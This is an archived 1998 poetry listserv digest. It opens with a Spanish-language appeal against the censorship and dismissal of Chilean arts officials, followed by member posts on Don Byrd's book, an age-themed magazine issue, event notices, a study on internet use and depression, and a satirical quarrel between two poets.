A raíz de las sistemáticas y ofensivas persecuciones políticas e intolerancia que por varios años se dan en la Facultad de Artes de la Universidad de Chile -acciones promovidas e incitadas por sectores reaccionarios, totalitaristas y Pinochetistas- se convocó y realizó el pasado marzo de 1998, la exposición de arte correo "STOP: libertad, diversidad y pluralismo", en defensa de los constantes ataques de estos sectores de poder, en el Museo de Arte Contemporáneo de Santiago. Como resultado de la misma, el Director de la Escuela de Bellas Artes de la Universidad de Chile, Humberto Nilo, organizador de la muestra, no sólo fue expulsado de su cargo, sino también, el Director y Curador del Museo que albergó la exposición la Sra. Rosario Letelier y el Sr. Ernesto Muñoz.

De nada sirvieron las brillantes trayectorias de los expulsados ni su férrea defensa de los derechos humanos durante la dictadura chilena, incluyendo la recuperación de la memoria de Guillermo Deisler, el eterno exiliado, y cientos de otras manifestaciones artísticas en defensa de los derechos humanos y la difusión de lo mejor del arte contemporáneo.

Resulta paradójico, por no decir denigrante, que después de 17 años de dictadura militar en Chile, y habiendo alcanzado -según lo pregonan ciertos sectores oficialistas- unos niveles de democracia y convivencia social dignos de emular en el resto del continente; tengamos que asistir al triste espectáculo de cierre de espacios culturales a través del estrangulamiento económico, el hostigamiento y despido de sus empleos de destacados artistas por no compartir con la línea oficial y la censura abierta o solapada de toda manifestación crítica sobre lo establecido y lo vigente.

Estos casos no son sólo ataques a personas de probada excelencia profesional y artística, sino más bien constituyen un ataque frontal a los principios que cimientan la cultura, además de un craso atropello a las aspiraciones libertarias de un amplio sector de la comunidad artística tanto nacional como internacional. Es hora de fomentar e incentivar la conciencia mundial entre todos aquellos artistas que creemos en la diversidad y pluralidad del arte, para hacerle frente a atropellos como el que acaba de ocurrir en Chile. Y tiene que ser ahora, ya que con las sofisticadas estrategias de manipulación y control en manos de los nuevos inquisidores de la cultura... ¡mañana podría resultar demasiado tarde!

La intolerancia y el desprecio por la diversidad cultural están entronizándose justamente en aquellos lugares destinados históricamente a ser la salvaguarda de esa diversidad. Quizás por eso mismo es que se despliega un ahínco feroz y

mordaz para silenciarlos. ¿Y la visión crítica y la reflexión? ¿O es que estamos ante los inicios de un régimen mundial con una política cultural predominantemente acrítica, ciega y "light" afin con los propósitos del neoliberalismo?

Ante el temor de que los desplantes y la brutalidad del régimen chileno puedan poner en peligro la suerte de Humberto Nilo, Rosario Letelier y Ernesto Muñoz, se inicia esta campaña mundial de repudio a la censura y al ataque personal contra cualquier artista, practique o no el arte correo, en cualquier lugar del planeta, solicitando al mundo entero que envíen expresiones de apoyo solidario y rechazo frontal hacia todo tipo de política discriminatoria en materia cultural, para que de alguna manera, sus ofensores no puedan llevar a cabo sus amenazas impunemente.

Send your messages to by post mail, fax and/or e-mail to:
Comunicaciones vía postal, fax y/o correo electrónico a:

Humberto Nilo Saavedra
Calama 8435, La Cisterna, Santiago, CHILE
tel. 5581888
[redacted]

Presidente de la República: Sr. Eduardo Frei Ruiz Tagle
Dirección postal/postal address: Palacio de la Moneda, Av. Libertador Bernardo
O´´Higgins, Santiago, Chile. Fax: 6387332
Email: [redacted]

Presidente de la Cámara de Diputados: Sr. Gutemberg Martínez Dirección postal/postal address: Av. Pedro Montt s/n , Valparaíso, Chile. Fax: 6874152
Email: [redacted] ó/or [redacted] (secretarias de Gabinetes)

Presidente del Senado: Sr. Andrés Zaldivar Larraín
Dirección postal/postal address: Av. Pedro Montt s/n, Valparaíso, Chile.
Fax: 6326603
Email: [redacted] ó/or [redacted] (secretarias de
Gabinetes)

Rector de la Universidad de Chile: Sr. Luis Riveros
Dirección postal/postal address: Av. Libertador Bernardo O´Higgins 1058
Fax: 6781012
Email: [redacted]

Ministro de Educación: Sr. José Pablo Arellano
Dirección postal/postal address: Av. Libertador Bernardo O´Higgins 1317, Santiago,
Chile. Fax: 6716164
Email: [redacted]

Agencia UPI: Sr. Rodrigo Bustamante(editor)
Dirección postal/ postal address: Nataniel 47, piso 9, Santiago, Chile.
Fax: 6986605

Agencia ORBE: Sra. Marisol Freire(editor)
Dirección postal/ postal address: Phillips 56, oficina 66, Santiago,
Chile.
Fax: 6396826

Clemente Padín

http://www.postypographika.com/menu-en1/paraleng/parpadin/padinbio.htm
http://www.concentric.net/~Lndb/padin/1cpcont.htm
http://www.thing.net/~grist/l&d/padinl.htm
http://www.artepostal.org.mx/artistas/padin.html
http://www.ubuweg.com/vp/index3.html
http://www.geocities.com/SoHo/Café/1492/lit-tax.html
http://www.geocities.com/Paris/LeftBank/2721
http://www.abaforum.es/merzmail/lapoesia.htm

please send your cross

Hans Braumüller
Homepage: http://ourworld.compuserve.com/homepages/braumueller
Cruzes del Mundo: http://www.geocities.com/SoHo/Museum/7402/
Port of Mail Art: http://www.geocities.com/SoHo/Square/5392/

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69. Matt Kirschenbaum
Re: Byrd/common knowledge
Fri 4 Sep 1998

This book of Don Byrd's has always seemed woefully under-discussed to me, though Joe Amato and others here on Poetics cite from it regularly (see the opening chapter in Joe's _Bookends_ and elsewhere).

By way of initial response, it seems important to underscore that DB's "information theory" is not limited to the academic phenomenon of that name during the late 1940s and 1950s (though Don's explication of the foundational texts and thinkers from this period is certainly the most subtle I've seen from a non-specialist). But for the broader implications of "information theory" and "statistical reality," see the passage begining on page 330, "Only those disciplines that study culture have been largely untouched by the cognitive science." And so forth. Matt

> *Listees:*
>
> *Recently finished Don Byrd's provocative THE POETICS OF COMMON KNOWLEDGE in*
> *which he contends that most contemporary poetry is irrelevant because it has failed to address information theory (which was only meant to be used for computer engineering, if I'm not mistaken. I was wondering if I've missed any serious conversation or reviews on the book. If anyone has any response to the book, I'd like to hear from them. I never felt that "common knowledge" was particularly well defined in the book, but was intrigued by the idea of "information" replacing the role of "substance" in traditional philosophy.*
> *Also not clear to me was what Byrd thought the effect of information/communication theory should be on contemporary poetry. Reminded me faintly of Fish's essay on speech acts in IS THERE A TEXT IN THIS CLASS? which Fish says in most interesting because he chose a text that is directly concerned with "speech acts". The impact of such explorations on other texts seems relatively uncertain.*
>
> *One of the more confusing ideas in the book is just exactly how "interest" (which he opposes to "interpretation") creates meaning.*
>
> *Is it anyone else's opinion that the book merely raises questions or did I miss something?*
>
> *Thanks*
>
> *Standard*

↑ Index

70. Erik Sweet
under thirty and over 60
Fri 4 Sep 1998

Joel:

weren't you a part of the place (less) place gathering in Buffalo this past year which asked for writers born after the sixth gallery reading? just curious.

Erik Sweet (I don't know how I feel about these things anyhow)

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71. Elizabeth Treadwell
Texture Press's latest
Fri 4 Sep 1998

Texture Chapbook #43

The Erratix & Other Stories
by ELizabeth Treadwell

67 pp., $6

Texture Press
PO Box 720157
Norman, OK 73072

"The House of Privacy: a woman is her own agressor, etched in gold, all pricey & vertiginous, she fell to the floor, forsaken repeating knock-knock (not entirely jokes but riddles). Landscapes in northern. She scrapes by, up into a mediocre tableaux. She suns there. In herself, the museum of dead sires. The hall of horrors with its Protocols, Cruelties, Desires, and Edged in Lace. Reminds one of ambiguous foreskins urgent in the portrait gallery, this hall of mirrors. Shivering in the spell of it. We tremble. No gossip lessons. And we ate oreos backstage."

Dear Listers, my new book is out. Here's the info. Many thanks to Susan Smith Nash for bringing this work out. -- ET

ps the quote is from the title story, genre a rock-mock.

↑ Index

72. Lisa Trank
Robert Creeley Reading at Naropa
Fri 4 Sep 1998

Robert Creeley will be giving a reading, Saturday, September 19, 1998 at The Naropa Institute, to benefit SEI (Students for Ethnic Inclusion); Performing Arts Center, 2130 Arapahoe Avenue, Boulder, CO; $8/general and $/students, Naropa folks, seniors. For information, please call (303) 546 - 3508.

Lisa Trank
The Naropa Institute

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73. Poproj
question
Fri 4 Sep 1998

I've been informed today that a study has linked listservs & "virtual" communities to increased feelings of social isolation & major depression among folks already suffering from said feelings. Can anyone verify this? -- Anselm Berrigan

↑ Index

74. Todd Baron /*/ ReMap
k and d
Fri 4 Sep 1998

sorry to use the list for this--but others may need to say this too--

Kevin and Dodie:

your e-mail address seems to send mail back...this has happened several times this week.

yrs,

Todd Baron

ps: ReMap work? On Love..?

↑ Index

75. Douglas
Re: under thirty and over 60
Fri 4 Sep 1998

Jacques I agree completely. It has continued to strike
me that many, many poets do write in a context of their
own period of age; we do represent the concerns of our
period, and everyone is influence highly by the time in
which they come of age. Of course this isn't EVERYTHING,
and there are wonderful and enormous exceptions (think of
the continual experimentation of Barbara Guest, for example [
of course this presumes wrongly that older poets no longer
experiment]). But generations to represent something. And I
think, moreover, that Paul was brilliant to put younger poets
and so-called "older" poets side by side. Are there substantial
differences, are the concerns generational? You'll have to read
RIBOT, I guess, and find out. But how can you even begin to answer
these questions (which I think, if they are not terribly
important are always very interesting) if you don't explore

something like this. RIBOT has done many a general issue; this
is a particular issue to explore a fascinating concern.

Douglas Messerli

Jacques Debrot wrote:
>
> Frankly, I think Paul Vangelisti may be the most gifted editor of our time.
> Bringing together writers under 30 & over 60 strikes me as a *brilliant
> thought experiment*. Joel Kuszai is completely right about the arbitrariness
> of generational identifiers -- but, as Cage & MacLow demonstrate, the
> arbitrary can, under certain conditions/controls, be extraordinarily
> compelling.

↑ Index

76. Jacques Debrot
Re: under thirty and over 60
Fri 4 Sep 1998

Frankly, I think Paul Vangelisti may be the most gifted editor of our time. Bringing together writers under 30 & over 60 strikes me as a *brilliant thought experiment*. Joel Kuszai is completely right about the arbitrariness of generational identifiers -- but, as Cage & MacLow demonstrate, the arbitrary can, under certain conditions/controls, be extraordinarily compelling.

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77. Lisa Trank
Re: Sycamore Review, featuring...
Fri 4 Sep 1998

---

and who are those some fiction folk?

another interested fiction/prose folkee.

↑ Index

78. Mark Weiss
Re: under thirty and over 60
Fri 4 Sep 1998

I like the idea of the arbitrary as an editing principle. How about a conference/anthology of poets born on Sunday? Poets with an n as the third letter of their first names? poets with vestigial nipples? poets whose mothers had brown eyes? Poets born in towns and cities with no public transportation? Poets who play the slots? Poets with wheelbarrows in their sheds? Poets with gardens of phallic

vegetables? Poets who often forget to button at least one button of their 501s? Poets who don't use sunscreen? Don't get me started. There's no end of brilliant possibilities.

At 03:31 PM 9/4/98 EDT, you wrote:
>Frankly, I think Paul Vangelisti may be the most gifted editor of our time.
>Bringing together writers under 30 & over 60 strikes me as a *brilliant
>thought experiment*. Joel Kuszai is completely right about the arbitrariness
>of generational identifiers -- but, as Cage & MacLow demonstrate, the
>arbitrary can, under certain conditions/controls, be extraordinarily
>compelling.
>
>

↑ Index

79. Daniel Zimmerman
Kismet?
Fri 4 Sep 1998

DUBLIN, Sept 4 (Reuters) - U.S. President Bill Clinton has been given a 250-to-one chance of shooting a hole-in-one when he completes his whirlwind tour of Ireland with a visit to golfing mecca Ballybunion on Saturday. And Paddy Power, Ireland's leading bookmaker, on Friday predicted Clinton would prove too weak for the three Irish golfing addicts who will accompany him, giving him the poorest chance of winning at eight-to-one. Club captain Brian McCarthy was expected to win ahead of Finance Minister Charlie McCreevy and former foreign minister Dick Spring, who will partner Clinton.

Dick Spring? No....

;~)

↑ Index

80. Gabriel Gudding
Re: Sycamore Review, featuring...
Fri 4 Sep 1998

On Fri, 4 Sep 1998, Lisa Trank wrote:

> *and who are those some fiction folk?*
>
> *another interested fiction/prose folkee.*

One Doris Dorrie (cum umlaut), translated by Gustav A. Richar
One Cynthia Clark

One Alana Ryan
One Jamey Hecht
One Meeka Walsh
One Ryan Alana
One Clark Cynthia
(the last six names are without umlauts).

-Gabriel Gudding

↑ Index

81. Jacques Debrot
-30 +60
Fri 4 Sep 1998

But Mark, what your examples fail to account for is that the arbitrariness of -30 +60 is not self-evident as are the examples you give. Vangelisti's juxtaposition is interesting both for what it might & might not disclose -- it might perhaps prove Kuszai's contention, not through assertion, but dramatically; or it may not deconstruct generational markers at all; in any case the particular inventiveness of V's idea is that he combines the traditionalist idea of anthology (+60) with the insurgent (-30). Unfortunately I myself don't qualify on either count, but then, I never felt I needed to be published in every issue of every magazine I ever liked.

↑ Index

82. KENT JOHNSON
A post in ten parts for David (and his harem, too)
Fri 4 Sep 1998

Dear David:

1. [initial digression: On my youthdy]

Ah, werey youy in your youthdy an Englished bakkery and a stuudy? Bloody goody for youy, old chappy. I mostly proudly in my owny youthdy (for whaty it's worthy to youy, whichy I am startting to thinky may not be muchy), was a freighty-car mechanicy and a memmber of thee Hegel Upside Down Internationalist Brigade. This lasty was in Nicaraguay, for thee bulky of '83. In thee HUDIB --or BIHAR in Spanishy-- therey werey thirty oddy irony-lovingg poetys withy sorey necksys and numerosy ex-gigolosys from Argentiny to Tanzany. We atey monkesys and bugsys, took runny shiitys on flesh-eatings planteys, jackedd-offy in thee presencesy of thee cockatoosy, skirted aroundy Coontra paatrolsys every timey we coulddy, wroted poemseys about poor peoples in thee moony, and fromy our hammoocks strungy betweenn guava trreeseys,

played a cut-throat gamey calledd Thee German Ideology. It was all quite romanticy, quaintly funnys, and oftened violenty!!!

Aren't you impressedy?

2. [hats off!]

I think you are a marvelous poet. And I think you are marvelously witty. And I mean that, really and really.

3. [four serious questions]

Yet now may I ask you four serious questions, placing a question mark after each.

a) David, do you remember that I asked you, in a most friendly way, if you would go for a ride with me?

b) David, is that long and throbbing thing which dangles from your bellybutton a nerve?

c) David, do old English studs always have such prominent and anxious bulge in bell-bottoms?

d) David, could you please move back just a little bit on this camel whose name is Araby? (question mark shaped like shepherd's hook)

4. [dresden]

Dresden, as it burned, they say, was beautiful from the Vickers [sic?]. Thousands of fires gathering in whooshes to become a single consuming one!

I lay the aerial photo of your Khartoum location post flat on the floor, make motor-sounds, spread out my arms, bank, and see.

5. [see what?]

Oh, see in horror what has become of my spired and melodious city! For in the shock of it, it all comes into view, as if I could see, with suddenness, in all directions and simultaneously!

6. [have you ever been to a flamenco bar?]

Not at all to interrupt as an obvious joke, but have you ever been to a flamenco bar?

7. [the phenomena of my comeuppance, or: "so it goes: a bedtime story for my niece"]

Oh, little crown of iron forged to likeness of a doctor's face, what are you doing in this circle of flaming studs and bakers?

And little burnt dinner all set to be eaten
(and crispy Frau so kindly invited to lick boot to boot),
what are you doing near this shovel for dung-digging,
hissing like ice-cubes in ruins of little museum?

And little shell of bank on which flakes of assets fall,
can't I still withdraw my bonds for baby?

Good night moon.
Good night socks and good night cuckoo clocks.

Good night little bedpans and a trough where once there was an inn
(urn of dashed pride),
what are you doing beside little wheelbarrow
beside some fried chickens?

And you, ridiculous door-handles of the Arab's car,
opening long, long tunnel for little toothless princess,
why do you seem like sister-in-law going nowhere
on little exercise bike?

Good night barbells and Arbeiter's shoes
under plastered ceilings of Grundschulen.

Good night bladder of Helen Vendler and a jar from Tennessee. (though what are these doing here in Dresden?)

Good night blackened parrot and some keys.
Good night, good night.

(And little mosque popped open like a can, which same as factory of flypaper has blown outward, covering the shape of man with it (with mosque): he stumbles up the Platz. What does it matter who is speaking, he murmurs and mutters, head a little bit on fire. Good night to you too.)

Good night moon.
Good night poor people who shall inherit the moon.

Good night first editions of Das Kapital, Novum Organum,
and How To Be A Success On Poetry Listservs.

Good night nobody.

Good night Mr. Kent, good night, for now you must
soon wake up and rub your eyes and know that you are dead.

8. [hoping it is my bad dialect]

David, it was a bit gauche of you to suggest you would cannibalize my wife after eating me, but that much I don't really mind-- everyone has a right to odd

perversions, as long as such are consensual or safely fanciful. What does nag at me a great deal is the Motel 6 reference, which in the net of your proto-narrative seems to insinuate a tryst with my sister-in-law (whose maiden-name is not Garcia, but what, as you say, is in a name?). I read and read. Please assure me that it is only your bad English and that I am being too much the "Ideal reader" (for I, too, admittedly, have a long outie and am a paranoid). If you do not, then at the next Orono, when you reach out your hand and say, "Pleased to make your acquaintance," I shall take your hand, twist it 360 degrees, circle it about my head, place it very high behind your back, and swiftly kick your health-spa'd legs out from under you. This simple move, especially effective against overly pumped-up contricants, is called "Dancing with the Stud," and it was taught to me, actually, by a Cuban military advisor.

At location (Orono) of lonely and looking-about poets, it shall be hand-clapping time!

9. [your copyright permission, please]

Also, I wanted to mention that three magazines and three web-sites have written unbidden to ask if they can reprint "Khartoum Translation Conference," i.e. the one that somehow threw you into your snit of incendiary-jelly spurt. I think one of the magazines (the one that makes people really, really angry by printing posts without permission) may be interested in running our whole exchange, beginning with your "brainwashed sudanese poet" up to wherever this goes (for I don't doubt that you will come roaring back like the stock-market, and I will even let you have the last word!).

Please excuse all the bad-writing parentheses, exclamations, etc., but could you post me back-channel on the above possibility or otherwise write an elliptical bombing poem to the List in reply? Thank you, David!

10. [a cross-cultural saying]

All best to you, then. And as we used to gayly say in the German Ideology game (with apologies here also for missing accent and inverted question mark):

"Es este el sombrero, camarada, que se le cayo de la cabeza?"

Kent

↑ Index

83. Lisa Trank

Re: Sycamore Review, featuring...

Fri 4 Sep 1998

---

thank you and thank you for the umlauts

Lisa Trank (who might at one time considered umlauts)

↑ Index

84. **P.Standard Schaefer**
Re: -30 +60
Fri 4 Sep 1998

In response to Jacques point, I'd like to add that I don't think it arbitrary exactly, but is produced from neccessity. Paul told me that he'd been getting lots and lots of submissions from young unknowns and that he'd like to show case them, but as publishing these sorts of magazines is never economically viable, he felt he should keep a core of well-known writers. How to drop Norma Cole for Leslie Scalapino (both are regular contributors) so you can include Gwyn McVay, Emily Grossman, Tracy Grinnel (under 30 and whose contributions are excellent) becomes a tricky matter. Since Paul funds the magazine out of his own pocket and has for years on a very limited budget, he has to sell some magazines to keep this thing afloat. Rather than merely choose one friend or long time contributor over another, he was able to keep the Waldrops, Baraka, Rakosi, and include space for the up and comers. Now, whether such a strategy pays off in terms of sales, I sorta doubt. But, Baraka (Funklore from Littoral Books was the all time biggest selling book that Consortium Distributors ever carried) definitely helps keep the attention of distributors and mean the books get out there.

I have to say that since I've seen the issue in galleys, no one will be surprised at what Baraka does or Rakosi, but they might be surprised to see that there are surface differences between the geezers and the young lions. The geezers are by far more sparing in their use of language. Also sort of interesting is how many more women are there as young lionesses and how many more men are there as geezers. But the best thing about this issue as with every issue of Ribot is the international scope. Mohamed Dibb is there, Emilio Pagliarani, and a number of young Italians who have never been translated before, some young Mexicans translated by Rick Gilbert, just lots of really interesting combination that defy almost any classification schema.

By the way, just got the new Chain in the mail with the pro forma plea for contributions and subscriptions so I just want to take a moment and say how important it is to BUY the magazines that you like rather than just expect them to run your work because you are so brilliant. When things like Chain and Ribot and Arshile and so on go under, there will be no one to present your genius to the world. The new Chain is sleak and handsome as usual and the next one's theme of Letters sounds really intriguing. As usual, it promises to introduce me to lots of writers I might never have come across. We need to support the magazines with themes (however arbitrary) and those without (however overdetermined they may still be).

↑ Index

85. **Karen Kelley**
Re: under thirty and over 60
Fri 4 Sep 1998

Poet bodybuilders. A rather large group, I've found.

Mark Weiss wrote:

> *I like the idea of the arbitrary as an editing principle. How about a conference/anthology of poets born on Sunday? Poets with an n as the third letter of their first names? poets with vestigial nipples? poets whose mothers had brown eyes? Poets born in towns and cities with no public transportation? Poets who play the slots? Poets with wheelbarrows in their sheds? Poets with gardens of phallic vegetables? Poets who often forget to button at least one button of their 501s? Poets who don't use sunscreen? Don't get me started. There's no end of brilliant possibilities.*
>
> *At 03:31 PM 9/4/98 EDT, you wrote:*
> *Frankly, I think Paul Vangelisti may be the most gifted editor of our time. Bringing together writers under 30 & over 60 strikes me as a *brilliant thought experiment*. Joel Kuszai is completely right about the arbitrariness of generational identifiers -- but, as Cage & MacLow demonstrate, the arbitrary can, under certain conditions/controls, be extraordinarily compelling.*

↑ Index

86. **David W. McFadden**
Re: under thirty and over 60
Fri 4 Sep 1998

[redacted] writes:
>Poet bodybuilders. A rather large group, I've found.
Erk! Erk!
But it reminds me of a poem by Charles Bukowski, in which he suddenly realizes that in the time he has spent pumping iron he could have read the complete works of Balzac - so he abruptly cancels his membership.
Going "nomail" for 3 weeks owing to an unrefusable offer!
dwm
"In the excitement of meeting a man who had read Shakespeare he had momentarily forgotten everything else."
- Aldous Huxley, Brave New World.

↑ Index

87. Christopher Reiner
Re: Byrd/common knowledge
Fri 4 Sep 1998

Way back when (well, spring 1995) WITZ featured two reviews of the Byrd book, one by Robert Grenier and the other by Chris Stroffolino.

I have put the reviews on the WITZ ON THE WEB site, if anyone is interested.

http://www.litpress.com/witz

--Chris Reiner

> *Listees:*
>
> *Recently finished Don Byrd's provocative THE POETICS OF COMMON KNOWLEDGE in*
> *which he contends that most contemporary poetry is irrelevant because it has failed to address information theory (which was only meant to be used for computer engineering, if I'm not mistaken. I was wondering if I've missed any serious conversation or reviews on the book. If anyone has any response to*

↑ Index

88. Mark Weiss
Re: under thirty and over 60
Fri 4 Sep 1998

Yes, we're a buff crowd.

At 03:25 PM 9/4/98 -0700, you wrote:
>Poet bodybuilders. A rather large group, I've found.
>
>Mark Weiss wrote:
>
>> I like the idea of the arbitrary as an editing principle. How about a
>> conference/anthology of poets born on Sunday? Poets with an n as the third
>> letter of their first names? poets with vestigial nipples? poets whose
>> mothers had brown eyes? Poets born in towns and cities with no public
>> transportation? Poets who play the slots? Poets with wheelbarrows in their
>> sheds? Poets with gardens of phallic vegetables? Poets who often forget to
>> button at least one button of their 501s? Poets who don't use sunscreen?
>> Don't get me started. There's no end of brilliant possibilities.
>>
>> At 03:31 PM 9/4/98 EDT, you wrote:
>> >Frankly, I think Paul Vangelisti may be the most gifted editor of our time.

>> >Bringing together writers under 30 & over 60 strikes me as a *brilliant
>> >thought experiment*. Joel Kuszai is completely right about the arbitrariness
>> >of generational identifiers -- but, as Cage & MacLow demonstrate, the
>> >arbitrary can, under certain conditions/controls, be extraordinarily
>> >compelling.
>> >
>> >
>
>

↑ Index

89. Stephen Cope

Re: papers for 20th-century literature conference (fwd)

Fri 4 Sep 1998

I've always heard great things about this conference (annual or semi-annual, I think). I always thought it was Alan Golding who ran it, but perhaps things have changed. It sounds like an intersting topic, and complimentary to the conference here at San Diego that's taking place this coming March. (More on this later).

Stephen

> *this wandered it way to poetics home office. anyone have any more info about this conf.?*
> *jk*
>
> *---------- Forwarded message ----------*
> *From:* [redacted]
> *Subject: papers for 20th-century literature conference*
>
> *Call for papers:*
>
> *Panel proposal at the 20th-Century Literature Conference at the University of Louisville, Feb. 25-25th 1999*
>
> *"Transgressive Prediscoveries": Women Writing L=A=N=G=U=A=G=E*
>
> *This panel focuses on the question of whether there are common agendas or stylistic traits among the women poets associated with L=A=N=G=U=A=G=E. It looks intensively at Susan Howe's description in The Birth-Mark of a writing of "prediscovery" that determines its own rules of transcription and interpretation.*

> *Please send a 250-300 word abstract and a brief CV to Susan Vanderborg:*
>
> [redacted]
>
> *or*
> *Susan Vanderborg*
> *Department of English*
> *University of South Carolina*
> *Columbia, SC 29208*

↑ Index

90. William Marsh
Re: Byrd/common knowledge
Fri 4 Sep 1998

Standard

read it about 1-2 years ago, so it's not too fresh in the head, but i saw it generally as an attack on gratuitous abstraction, a call for a return to the local, to words instead of "language", to combinations instead of differences / i too had trouble, still do, defining the common knowledge, though i think part of the book's appeal is that it resides so compellingly poised on the edge of that definition -- at one point he writes something about the current age coming to definition (soon?) in a present with a new name -- a rough paraphrase -- which to me is part of the problem: we're left teetering... / and of course, avoiding the definition of a new paradigm, of paradigmatic thought in general, is one of its central ploys / one sentence early on had me sold, though: "Poetry is made from sounds and marks, but, paradoxically, *not* language..."

bill

At 12:09 PM 9/4/98 EDT, you wrote:
>Listees:
>
>Recently finished Don Byrd's provocative THE POETICS OF COMMON KNOWLEDGE in
>which he contends that most contemporary poetry is irrelevant because it has
>failed to address information theory (which was only meant to be used for
>computer engineering, if I'm not mistaken. I was wondering if I've missed any
>serious conversation or reviews on the book. If anyone has any response to
>the book, I'd like to hear from them. I never felt that "common knowledge"
>was particularly well defined in the book, but was intrigued by the idea of
>"information" replacing the role of "substance" in traditional philosophy.

>Also not clear to me was what Byrd thought the effect of
>information/communication theory should be on contemporary poetry. Re-minded
>me faintly of Fish's essay on speech acts in IS THERE A TEXT IN THIS CLASS?
>which Fish says in most interesting because he chose a text that is directly
>concerned with "speech acts". The impact of such explorations on other texts
>seems relatively uncertain.
>
>One of the more confusing ideas in the book is just exactly how "interest"
>(which he opposes to "interpretation") creates meaning.
>
>Is it anyone else's opinion that the book merely raises questions or did I
>miss something?
>
>Thanks
>
>Standard
>
>

- -
William Marsh | PaperBrainPress
http://bmarsh.dtai.com
- -

↑ Index

91. **shemurph**
Re: question
Fri 4 Sep 1998

In a message dated 9/4/98 11:39:23 AM Pacific Daylight Time, [redacted] writes:

<< I've been informed today that a study has linked listservs & "virtual"
communities to increased feelings of social isolation & major depression
among folks already suffering from said feelings. Can anyone verify this?
-- Anselm Berrigan
>>

I heard a report and discussion on this on NPR. I questioned the correlation-as- causation presumption that was put forward, and believe that a caller indicated the same. Seems that more needs to be done with area of exploration. Findings were mystifying as reported.

↑ Index

92. david bromige
re : 10 pieces for me
Sat 5 Sep 1998

Kent, let me lapse into perfect english in the hope of avoiding misunderstandings, although no doubt at the sacrifice of anything poetic. I meant to imply nothing of the sort concerning your sister-in-law. I meant no personal relation of Motel jokes to myself : it's standard-issue comic material, the human dong. I never worked in a bakery : that was suggested by the popping-up of the word "tarts" in the word-salad the persona of Davood offered. In fact little of it was personal, although it is true that your relative and I have spoken, fondly, of you, during our exercise-hour. Your account of your time in Central America makes it sound like tough fun, assuming it _is_ personal material. The difficult passages in my life are nothing so noteworthy nor laudable, and I must cede the victory to you. I'm not sure where the competitive edge came from--it's certainly in your tone and I take it you are responding to something in mine, of which I stay unaware. As I expect you know, distorted texts such as we have been exchanging cause all kinds of ping-ponging signification to go on behind the surface, which is at once their pleasure and their pain. They can make one paranoid, although I felt little of that with your latest, thanks to its plain-spokenness. There is a certain right-minded quality to your communications that I'd sooner not spend time on; it's not my fault you don't have an endowed chair at Harvard; the Holier-Than-Thou Chair perhaps would have done nicely. Your bully-boy braggadoccio is thin in humor, also. Please, you are free to publish your Khartoum letter/s, which btw I found hilarious--thanks for them. I don't think I want anything of mine to leave the List for further publication just now, though. It's been fun, but I doubt it can continue to be. I would sooner have sent this back-channel, but your post required a front-channel response, I think. David

PS I'm sorry I was unable to come up with a blurb for your book about being a Japanese poet. I hope this lack of a response which I did not in the first place offer, and certainly had not promised, has not caused some emotional festering in your heart. But I am at a loss to account for the gratuitous offensiveness in your latest post. Shall I return the book you were kind enough to send? D.

↑ Index

93. david bromige
Re : Anselm B's question
Sat 5 Sep 1998

Anselm, there was discussion on the List lately of a report carried by some newspapers, that found a positive correlation between time spent on the Net,

and depression. As I recall, however, the article did not say whether those sampled had been depressed before they went on-line, nor, if so, that their depression was now less, greater or about the same.

The social scientists said they were surprised : they had anticipated that the opposite would be the case, i.e., that depression would be ameliorated by e-mail, etc. As would I have. These results made the resaerchers posit some causes, and I think one suggestion was, that the increased company, not being tangible, or even visible,--that the virtuality of all this proved an irritant, finally, and a thoroughly depressing one at that. "The hungry sheep look up and are not fed." This proving the case, not much left to do but disconnect and go sit in cafes with notebook and pen, or try line-dancing. Back to Square One.

Other Listafarians will no doubt have their own takes on this topic. Hope all's well, Anselm. David

↑ Index

94. A. Jenn Sondheim
Re: Re : Anselm B's question
Sat 5 Sep 1998

One take on this is the ongoing discussion on the Research list among people who have pioneered in IAD studies; they find the study flawed to a great degree, without controls, with a slewed demographics, etc. I also think they might be jealous that _this_ study got all the atten- tion, while similar one's didn't.

It does seem to me to be true by and large, but it has a lot to do with user's expectations. When I've taught I have found people thinking the Net would be a lot easier than it is, that the interactivity would be simpli- fied, that it would be easy to meet people online, that it would be a kinder place than it is, that it would automatically bring people toge- ther, that it would be fun, that the software would be simple to set up, that the ISP software in particular would go in easily, and so forth and so on. And all these things then confound people who might be uncomforta- ble with the computer in the first place. As far as I know the study didn't take into account who had or hadn't used computers before, things like that. It makes a difference. One final issue by the way is the sheer volume of information - beginning users tend to keep every email they get (I know someone with 8000 files of it and someone else who has had up to 5000 messages in the inbox) - and then become extremely depressed when they discover it's all useless, impossible to read, almost impossible to catalog. Or someone looking, say, for articles on Japan, entering Japan in say Alta Vista and coming up with several hundred thousand replies...

Alan

↑ Index

95. Billy Little
Re: question
Sat 5 Sep 1998

---

who payed for this survey

billy little
4 song st.
nowhere, b.c. V0R1Z0

ah! those strange people who have the courage to be unhappy! Are they unhappy, by the way?

Alice James

↑ Index

96. George Bowering
Re: question
Sat 5 Sep 1998

> *I've been informed today that a study has linked listservs & "virtual" communities to increased feelings of social isolation & major depression among folks already suffering from said feelings. Can anyone verify this?*
> *-- Anselm Berrigan*

I dont want to talk about it, okay?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

97. Mark Salerno
Seeking Stroffolino
Sat 5 Sep 1998

Chris Stroffolino:

Can't seem to get through to your e-mail, buddy. Would you kindly backchannel me?

Mark Salerno

↑ Index

98. Henry Gould
Re: -30 +60
Sat 5 Sep 1998

Hey when's somebody gonna cover the over-100 crowd? We're one spunky bunch [hack--spittooey--] - Henry "Gramps" Gould

↑ Index

99. Steven Marks
Re: question
Sat 5 Sep 1998

As I remember it was some major info/techno companies who were hoping that the study would indicate just the opposite of what it did. I also seem to remember that the study indicated a 1 percent increase on the depression axis and a four/tenths of 1 percent increase on the alienation axis. The researchers claim that these results are statistically significant. They may be, but they don't seem earthshaking especially given what appear to be the many faults of the study discussed here. GIGO! shit in, shit out.

tears,
Steven

On Fri, 4 Sep 1998, Billy Little wrote:

> *who payed for this survey*
>
> *billy little*
> *4 song st.*
> *nowhere, b.c. V0R1Z0*
>
> *ah! those strange people who have the courage to be unhappy!*
> *Are they unhappy, by the way?*
>
> *Alice James*

↑ Index

100. Loss Pequen~o Glazier
Fwd: digest
Sat 5 Sep 1998

> *Delivered-To:* [redacted]
> *Date: Thu, 03 Sep 1998 05:59:12 -0400*

> *From: Peter Ganick <[redacted]>*
> *Organization: @Home Network*
> *X-Mailer: Mozilla 4.02 [en]C-AtHome0402 (Win95; U)*
> *To: [redacted]*
> *Subject: digest*
>
